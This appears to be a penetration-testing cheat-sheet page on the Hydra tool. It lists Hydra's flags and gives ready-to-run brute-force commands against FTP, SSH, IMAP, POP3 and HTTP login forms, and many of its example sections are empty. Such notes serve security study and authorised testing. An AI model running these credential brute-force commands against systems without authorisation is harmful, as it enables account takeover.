search

๐Ÿ™HYDRA

  • -e nsr try "n" null password, "s" login as pass and/or "r" reversed login

  • -I : ignore hydra.restore file

  • -V : very verbose output

  • -f : stop when a logon is found

  • -L : username list

  • -u : rotate around usernames, not passwords

  • -P : passwords list

example

hydra -I -V -f -L usernames.txt -u -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.179.46 ftp

hashtag
HTTP Modules

  • hydra -h | grep "Supported services" | tr ":" "\n" | tr " " "\n" | column -e

  1. http[s]-{head|get|post}

  2. http[s]-post-form

  • hydra http-post-form -U

  • hydra -L <usernames list> -P <passwords list> -f -u <target ip> -s <port> http-get /

  • hydra -l <username> -P <password list> -f <target ip> -s <target port> http-post-form "/<login page>:<user parameter>=^USER^&<password parameter>=^PASS^:[F/S]=<failed/success string>"

code

parameters
error message

example

blacklisted
fail count

hashtag
Service Authentication Brute Forcing

hashtag
SSH Attack

code

code

  • <service>://<target ip>:<port>

  • hydra -L <usernames list> -P <password list> -u -f ssh://<target ip> -t 4

Examples

  • hydra -l user -P passlist.txt ftp://192.168.0.1

  • hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

  • hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

  • hydra -l admin -p password ftp://[192.168.0.0/24]/

  • hydra -L logins.txt -P pws.txt -M targets.txt ssh

Hydra Flags:

  • -l: Login with LOGIN name

  • -L: Load several logins from FILE

  • -p: Try password PASS

  • -P: Load several passwords from FILE

  • -C: FILE colon separated "login:pass" format, instead of -L/-P options

  • -u: loop around users, not passwords (effective! implied with -x)

  • -s: PORT if the service is on a different default port, define it here

  • -f: exit when a login/pass pair is found

  • -t: TASKS run TASKS number of connects in parallel per target (default: 16)

  • -4 / -6: Use IPv4 (default) / IPv6 addresses (put always in [] also in -M)

hashtag
FTP Attack

Reference:

code

example

hashtag
HTTP ATTACK

code

example

example

hashtag
Basic Auth

code

example

hashtag
IppSec's Example

reference

user:pass

code

example

PreviousBrute ForcingNextSed

Last updated